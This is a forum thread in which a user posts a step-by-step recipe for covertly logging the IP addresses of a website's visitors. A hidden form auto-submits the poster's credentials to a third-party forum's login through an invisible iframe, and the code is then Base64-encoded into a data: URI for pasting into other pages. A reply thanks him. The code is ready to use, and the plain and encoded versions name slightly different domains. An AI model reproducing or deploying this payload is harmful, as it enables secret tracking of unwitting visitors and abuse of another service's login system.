IP-Logger using a unlicensed site to track html views

hacxx · 09-06-2018, 08:42 PM

1) Register a account at https://dark-time.com/

2) Use a Email that you control

3) The code

Code:
<form action="https://dark-time.com/login/login" method="post" target="frame">

<input type="hidden" name="login" value="">

<input type="hidden" name="password" value="">

<input type="hidden" name="cookie_check" value="1">

<input type="hidden" name="_xfToken" value="">

<input type="hidden" name="redirect" value="https://dark-time.life/">

<input type="submit" name="submit" value="submit">

</form>

Convert to a actionable code

Code:
<script>

document.write('<form action="https://dark-time.com/login/login" method="post" target="frame">');

document.write('<input type="hidden" name="login" value="email@here.com">');

document.write('<input type="hidden" name="password" value="password here">');

document.write('<input type="hidden" name="cookie_check" value="1">');

document.write('<input type="hidden" name="_xfToken" value="">');

document.write('<input type="hidden" name="redirect" value="https://dark-time.life/">');

document.write('<input type="submit" name="submit" value="submit" style="height:0px; width:0px; background-color:#fff; border:0px">');

document.write('</form>');

document.write('<iframe id="frame" name="frame" height="0" width="0" frameborder="0"></iframe>');

document.forms[0]["submit"].click();

</script>

3) Load "URI Encoder" and encode the code above to Base64 or UTF-8

Code:
data:text/html;base64,PHNjcmlwdD4gZG9jdW1lbnQud3JpdGUoJzxmb3JtIGFjdGlvbj0iaHR0cHM6Ly9kYXJrLXRpbWUubGlmZS9sb2dpbi9sb2dpbiIgbWV0aG9kPSJwb3N0IiB0YXJnZXQ9ImZyYW1lIj4nKTsgZG9jdW1lbnQud3JpdGUoJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImxvZ2luIiB2YWx1ZT0iZW1haWxAaGVyZS5jb20iPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzc3dvcmQiIHZhbHVlPSJwYXNzd29yZCBoZXJlIj4nKTsgZG9jdW1lbnQud3JpdGUoJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNvb2tpZV9jaGVjayIgdmFsdWU9IjEiPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3hmVG9rZW4iIHZhbHVlPSIiPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVkaXJlY3QiIHZhbHVlPSJodHRwczovL2RhcmstdGltZS5saWZlLyI+Jyk7IGRvY3VtZW50LndyaXRlKCc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiIHN0eWxlPSJoZWlnaHQ6MHB4OyB3aWR0aDowcHg7IGJhY2tncm91bmQtY29sb3I6I2ZmZjsgYm9yZGVyOjBweCI+Jyk7IGRvY3VtZW50LndyaXRlKCc8L2Zvcm0+Jyk7IGRvY3VtZW50LndyaXRlKCc8aWZyYW1lIGlkPSJmcmFtZSIgbmFtZT0iZnJhbWUiIGhlaWdodD0iMCIgd2lkdGg9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsgZG9jdW1lbnQuZm9ybXNbMF1bInN1Ym1pdCJdLmNsaWNrKCk7IDwvc2NyaXB0Pg==

Then add iframes

Code:
<iframe src="data:text/html;base64,PHNjcmlwdD4gZG9jdW1lbnQud3JpdGUoJzxmb3JtIGFjdGlvbj0iaHR0cHM6Ly9kYXJrLXRpbWUubGlmZS9sb2dpbi9sb2dpbiIgbWV0aG9kPSJwb3N0IiB0YXJnZXQ9ImZyYW1lIj4nKTsgZG9jdW1lbnQud3JpdGUoJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImxvZ2luIiB2YWx1ZT0iZW1haWxAaGVyZS5jb20iPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzc3dvcmQiIHZhbHVlPSJwYXNzd29yZCBoZXJlIj4nKTsgZG9jdW1lbnQud3JpdGUoJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNvb2tpZV9jaGVjayIgdmFsdWU9IjEiPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3hmVG9rZW4iIHZhbHVlPSIiPicpOyBkb2N1bWVudC53cml0ZSgnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVkaXJlY3QiIHZhbHVlPSJodHRwczovL2RhcmstdGltZS5saWZlLyI+Jyk7IGRvY3VtZW50LndyaXRlKCc8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJzdWJtaXQiIHN0eWxlPSJoZWlnaHQ6MHB4OyB3aWR0aDowcHg7IGJhY2tncm91bmQtY29sb3I6I2ZmZjsgYm9yZGVyOjBweCI+Jyk7IGRvY3VtZW50LndyaXRlKCc8L2Zvcm0+Jyk7IGRvY3VtZW50LndyaXRlKCc8aWZyYW1lIGlkPSJmcmFtZSIgbmFtZT0iZnJhbWUiIGhlaWdodD0iMCIgd2lkdGg9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsgZG9jdW1lbnQuZm9ybXNbMF1bInN1Ym1pdCJdLmNsaWNrKCk7IDwvc2NyaXB0Pg==" height="0" width="0" frameborder="0"></iframe>

And paste the code to the site you want to monitor.

Bish0pQ · 09-06-2018, 09:43 PM

This is actually quite nice. Thank you for sharing this, I never heard of the website before. Is this website to be trusted, don't they send logs to themselves?